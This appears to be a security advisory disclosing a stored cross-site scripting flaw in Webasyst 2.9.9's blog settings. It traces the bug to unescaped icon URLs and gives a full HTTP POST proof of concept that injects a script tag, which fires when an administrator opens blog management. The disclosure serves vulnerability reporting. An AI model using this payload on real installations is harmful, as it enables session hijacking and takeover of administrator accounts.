Webasyst 2.9.9 has a storage XSS vulnerability

[Hebing123]

Summary

Webasyst 2.9.9 has a storage XSS vulnerability,Attackers can create blogs containing malicious code after gaining blog permissions, and even administrators only need to open the page of the blog management function (instead of the specified blog) to be triggered!

Details

As you can see, $icon_uri is not filtered in blogHelper.class.php and is concatenated directly into the i tag.

We can close the previous i label by " and >.

Proof of Concept (POC)

POST /index.php/webasyst/blog/?action=settings&blog=0&module=blog HTTP/1.1
Host: 192.168.160.147:7788
Content-Length: 281
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.160.147:7788
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ti4lm4h4iknp715h4rss5u7g5s
Connection: close

_csrf=65d5ccde9cbb81.61575047&new_route_setup=1&route_domain=192.168.160.147:7788&route_enabled=1&settings[color]=b-gray&settings[icon]=blog&settings[icon_url]=http://bbb.com/\"><ScRiPt>alert(9978)</ScRiPt>&settings[name]=test&settings[status]=on&settings[url]=hebing123hacked

When testing, remember to change the _csrf and Cookie Header in the POC to the corresponding values.

Impact

Create permissions to create malicious attackers hold blog blog, blog management function will be affected, the administrator will trigger open http://ip:port/index.php/webasyst/blog/ (0-click).